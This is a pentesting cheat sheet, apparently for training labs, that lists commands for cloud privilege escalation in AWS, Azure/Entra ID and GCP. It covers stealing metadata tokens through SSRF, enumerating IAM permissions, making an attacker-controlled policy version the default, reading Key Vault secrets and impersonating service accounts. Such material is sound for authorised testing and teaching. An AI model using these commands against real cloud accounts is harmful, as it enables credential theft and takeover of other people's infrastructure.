Cloud: AWS, Azure/Entra ID and GCP

The cloud pattern: you get some credentials (a key in a repo, a metadata token), check what they let you do and look for a permission that lets you climb. Only on your own accounts or with written authorisation.

AWS

Practise it on: Facts

Who am I?

Identity of the current credentials Attacker

aws sts get-caller-identity

Configure a profile with found keys Attacker

aws configure --profile loot

Token from an instance's metadata (SSRF) Target

TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 requires a PUT token first; IMDSv1 answered the direct GET.

Enumerate permissions

My policies and groups Attacker

aws iam list-attached-user-policies --user-name USUARIO
aws iam list-user-policies --user-name USUARIO

Automatic enumeration with enumerate-iam Attacker

python3 enumerate-iam.py --access-key AKIA... --secret-key ...

Readable S3 buckets Attacker

aws s3 ls
aws s3 ls s3://nombre-bucket --no-sign-request

IAM escalation with Pacu

Pacu has a module that tests the known escalation paths (e.g. create a policy version, pass a role to a Lambda).

Start and look for escalation paths Attacker

pacu
# dentro: import_keys loot; run iam__enum_permissions; run iam__privesc_scan

Classic abuse: create a policy version you control Attacker

aws iam create-policy-version --policy-arn ARN --policy-document file://admin.json --set-as-default

Azure / Entra ID

Entra ID (formerly Azure AD) is the directory; Azure is the infrastructure. Two separate planes: a user can be nobody in Entra and own a subscription, or the other way around.

Practise it on: Monteverde

Sign in and look around

Az CLI: login and subscriptions Attacker

az login -u USUARIO -p 'CLAVE'
az account list -o table

Enumerate the directory with ROADrecon Attacker

roadrecon auth -u USUARIO -p 'CLAVE'
roadrecon gather
roadrecon gui

Users, groups and roles with AzureHound Attacker

azurehound -u USUARIO -p 'CLAVE' list --tenant TENANT-ID -o output.json

Escalation and abuse

The usual find is a role that lets you reset someone's password, add yourself to a privileged group or read Key Vault secrets.

Read Key Vault secrets Attacker

az keyvault secret list --vault-name NOMBRE
az keyvault secret show --vault-name NOMBRE --name SECRETO

Add yourself to a group (if you have the role) Attacker

az ad group member add --group 'Grupo' --member-id TU-OBJECT-ID

Managed identity token from a VM (SSRF) Target

curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

GCP

Who am I and what do I have?

Active account and projects Attacker

gcloud auth list
gcloud projects list

Activate a service account from its JSON key Attacker

gcloud auth activate-service-account --key-file=clave.json

Service account token from metadata (SSRF) Target

curl -s -H 'Metadata-Flavor: Google' "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

Enumerate and escalate

The GCP classic: a permission such as iam.serviceAccounts.getAccessToken or actAs lets you impersonate a more privileged service account.

What permissions I have on the project Attacker

gcloud projects get-iam-policy PROYECTO --format=json

Impersonate a service account Attacker

gcloud compute instances list --impersonate-service-account=SA@PROYECTO.iam.gserviceaccount.com

Thorough enumeration with GCPwn or ScoutSuite Attacker

scout gcp --user-account --report-dir ./scout